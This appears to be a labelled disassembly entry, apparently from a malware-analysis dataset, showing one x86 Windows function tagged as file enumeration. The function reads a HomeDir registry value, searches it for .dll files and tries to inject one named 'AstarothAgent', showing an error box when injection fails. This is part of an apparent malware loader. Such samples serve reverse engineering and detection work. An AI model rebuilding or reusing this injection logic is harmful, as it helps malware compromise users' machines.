Function at 0x10001e90
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100052c2
mov eax, dword fs:[0]
push eax
sub esp, 0x1f4
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x1cc], 0
push 0xc
call fcn.10004431
add esp, 4
mov dword [ebp - 0x18c], eax
mov dword [ebp - 4], 0
cmp dword [ebp - 0x18c], 0
je 0x10001f14
xor eax, eax
mov ecx, dword [ebp - 0x18c]
mov dword [ecx], eax
mov dword [ecx + 4], eax
mov dword [ecx + 8], eax
push 0
push 0x1000654c
push 0x80000001
mov ecx, dword [ebp - 0x18c]
call fcn.10001450
mov dword [ebp - 0x19c], eax
jmp 0x10001f1e
mov dword [ebp - 0x19c], 0
mov edx, dword [ebp - 0x19c]
mov dword [ebp - 0x1b0], edx
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x1b0]
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 0
je 0x100021d2
push 0
push str.HomeDir
lea ecx, [ebp - 0x28]
push ecx
mov ecx, dword [ebp - 0x198]
call fcn.100014a0
mov dword [ebp - 4], 1
cmp dword [ebp - 0x18], 0
jne 0x10001f79
mov dword [ebp - 0x1a0], 1
jmp 0x10001f83
mov dword [ebp - 0x1a0], 0
mov dl, byte [ebp - 0x1a0]
mov byte [ebp - 0x181], dl
movzx eax, byte [ebp - 0x181]
test eax, eax
jne 0x10002164
push 0x140
push 0
lea ecx, [ebp - 0x180]
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push str..dll
lea edx, [ebp - 0x28]
push edx
lea eax, [ebp - 0x1e8]
push eax
call fcn.100029b0
add esp, 0xc
mov dword [ebp - 0x1b4], eax
mov ecx, dword [ebp - 0x1b4]
mov dword [ebp - 0x190], ecx
mov edx, dword [ebp - 0x190]
mov dword [ebp - 0x1a8], edx
mov eax, dword [ebp - 0x190]
cmp dword [eax + 0x14], 0xf
jbe 0x10002002
mov dword [ebp - 0x1a4], 1
jmp 0x1000200c
mov dword [ebp - 0x1a4], 0
mov cl, byte [ebp - 0x1a4]
mov byte [ebp - 0x182], cl
movzx edx, byte [ebp - 0x182]
test edx, edx
je 0x1000203d
mov eax, dword [ebp - 0x190]
mov ecx, dword [eax]
mov dword [ebp - 0x1b8], ecx
mov edx, dword [ebp - 0x1b8]
mov dword [ebp - 0x1a8], edx
mov eax, dword [ebp - 0x1a8]
mov dword [ebp - 0x1bc], eax
mov ecx, dword [ebp - 0x1bc]
mov dword [ebp - 0x1c0], ecx
push 0
push 0
push 0
lea edx, [ebp - 0x180]
push edx
push 0
mov eax, dword [ebp - 0x1c0]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileExA]
mov dword [ebp - 0x194], eax
lea ecx, [ebp - 0x1e8]
call fcn.10001690
cmp dword [ebp - 0x194], 0xffffffff
je 0x10002164
push 0x10006570
lea ecx, [ebp - 0x28]
push ecx
lea edx, [ebp - 0x200]
push edx
call fcn.100029b0
add esp, 0xc
mov dword [ebp - 0x1c4], eax
mov eax, dword [ebp - 0x1c4]
mov dword [ebp - 0x1c8], eax
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x154]
push ecx
mov edx, dword [ebp - 0x1c8]
push edx
lea eax, [ebp - 0x40]
push eax
call fcn.10002aa0
add esp, 0xc
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x200]
call fcn.10001690
push 0
push str.AstarothAgent
lea ecx, [ebp - 0x40]
call fcn.100025d0
cmp eax, 0xffffffff
jne 0x1000212f
lea ecx, [ebp - 0x40]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.10001d20
add esp, 8
mov byte [ebp - 0x183], al
movzx eax, byte [ebp - 0x183]
test eax, eax
jne 0x1000212f
push 0x10
push str.ERROR
push str.Astaroth_can_t_inject_dll_
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x40]
call fcn.10001690
lea ecx, [ebp - 0x180]
push ecx
mov edx, dword [ebp - 0x194]
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x1000208f
mov eax, dword [ebp - 0x194]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp - 0x198]
mov dword [ebp - 0x188], ecx
cmp dword [ebp - 0x188], 0
je 0x100021b9
mov edx, dword [ebp - 0x1d0]
mov dword [ebp - 0x1ac], edx
mov ecx, dword [ebp - 0x188]
call fcn.10001480
mov eax, 1
and eax, 1
je 0x100021ab
push 0xc
mov ecx, dword [ebp - 0x188]
push ecx
call fcn.10004466
add esp, 8
mov edx, dword [ebp - 0x188]
mov dword [ebp - 0x1ac], edx
jmp 0x100021c3
mov dword [ebp - 0x1ac], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.10001690
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10004423
mov esp, ebp
pop ebp
ret